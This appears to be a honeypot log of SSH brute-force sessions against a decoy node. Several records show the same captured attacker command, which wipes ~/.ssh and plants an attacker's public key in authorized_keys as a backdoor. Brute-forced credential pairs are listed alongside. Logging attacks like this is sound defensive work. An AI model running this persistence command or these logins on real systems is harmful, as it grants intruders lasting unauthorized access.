Adversarial Observation Interface

102.88.137.80

2026-07-24 01:48:05.182454 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / hello2025

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 7ff0a063f17c

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.2s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "7ff0a063f17c",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:48:05.182454Z",
  "end_time": "2026-07-24T01:48:13.355210Z",
  "duration": "8.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "hello2025"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

102.88.137.80

2026-07-24 01:46:56.810951 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ociistst

Record ID: 5a6e1f40f075

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "5a6e1f40f075",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:46:56.810951Z",
  "end_time": "2026-07-24T01:46:59.481515Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "ociistst",
      "pass": "ociistst"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:45:57.104231 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: minecraft / 3245gs5662d34

Record ID: 89c243184d77

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "89c243184d77",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:45:57.104231Z",
  "end_time": "2026-07-24T01:45:58.785468Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "minecraft",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:45:54.142503 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: c72bbd13287a

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "c72bbd13287a",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:45:54.142503Z",
  "end_time": "2026-07-24T01:45:56.833859Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:45:50.621728 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: minecraft / password123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: e392f807a202

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.2s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "e392f807a202",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:45:50.621728Z",
  "end_time": "2026-07-24T01:45:58.781526Z",
  "duration": "8.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "minecraft",
    "pass": "password123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

102.88.137.80

2026-07-24 01:44:44.725710 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: stu

Record ID: 8b6528c64a32

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "8b6528c64a32",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:44:44.725710Z",
  "end_time": "2026-07-24T01:44:47.404291Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "stu",
      "pass": "stu"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:43:46.178872 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: d230d55bb554

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "d230d55bb554",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:43:46.178872Z",
  "end_time": "2026-07-24T01:43:47.905043Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:43:43.223588 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 5daacd1c9e5e

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "5daacd1c9e5e",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:43:43.223588Z",
  "end_time": "2026-07-24T01:43:45.891677Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:43:39.785251 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 357951

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: f5405f67f26b

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.1s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "f5405f67f26b",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:43:39.785251Z",
  "end_time": "2026-07-24T01:43:47.897094Z",
  "duration": "8.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "357951"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

2.57.121.25

2026-07-24 01:43:04.563869 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / tyrell

Record ID: 1116ab649642

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "1116ab649642",
  "src_ip": "2.57.121.25",
  "start_time": "2026-07-24T01:43:04.563869Z",
  "end_time": "2026-07-24T01:43:10.580004Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "tyrell"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:42:33.004524 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: andrei

Record ID: e3320deb388f

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "e3320deb388f",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:42:33.004524Z",
  "end_time": "2026-07-24T01:42:35.676409Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "andrei",
      "pass": "Andrei123!"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:41:31.902262 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 70bf3d3a951a

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "70bf3d3a951a",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:41:31.902262Z",
  "end_time": "2026-07-24T01:41:33.633134Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:41:28.892723 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 2fc59e7ec34a

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "2fc59e7ec34a",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:41:28.892723Z",
  "end_time": "2026-07-24T01:41:31.624120Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:41:25.368286 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Admin123$

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: b64d5fb5aec7

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.3s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "b64d5fb5aec7",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:41:25.368286Z",
  "end_time": "2026-07-24T01:41:33.629423Z",
  "duration": "8.3",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Admin123$"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

102.88.137.80

2026-07-24 01:40:18.073825 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jonas

Record ID: bfd267906afc

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "bfd267906afc",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:40:18.073825Z",
  "end_time": "2026-07-24T01:40:20.745952Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "jonas",
      "pass": "jonas"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:39:12.818882 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: scm

Record ID: 4754bc1acd61

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "4754bc1acd61",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:39:12.818882Z",
  "end_time": "2026-07-24T01:39:15.490439Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "scm",
      "pass": "scm"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:38:14.255278 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: b387337c0837

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "b387337c0837",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:38:14.255278Z",
  "end_time": "2026-07-24T01:38:15.921244Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:38:11.319596 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 5aac3fb23a36

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "5aac3fb23a36",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:38:11.319596Z",
  "end_time": "2026-07-24T01:38:13.987004Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:38:07.877418 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / admin1@3

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 43f4cca35805

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.0s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "43f4cca35805",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:38:07.877418Z",
